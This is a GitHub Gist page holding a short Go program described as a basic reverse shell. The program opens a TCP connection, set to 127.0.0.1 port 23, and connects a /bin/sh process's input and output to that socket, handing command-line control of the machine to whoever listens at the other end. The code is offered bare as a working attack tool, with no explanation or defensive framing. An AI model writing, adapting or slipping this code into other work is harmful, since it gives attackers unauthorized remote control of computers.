Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created March 16, 2015 03:51
Show Gist options
  • Save ahhh/379f4b67273fe9b36073 to your computer and use it in GitHub Desktop.
Save ahhh/379f4b67273fe9b36073 to your computer and use it in GitHub Desktop.
Basic reverse shell in go lang
package main;
import "os/exec";
import "net";
func main() {
con,_:=net.Dial("tcp","127.0.0.1:23");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=con;
cmd.Stdout=con;
cmd.Stderr=con;
cmd.Run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment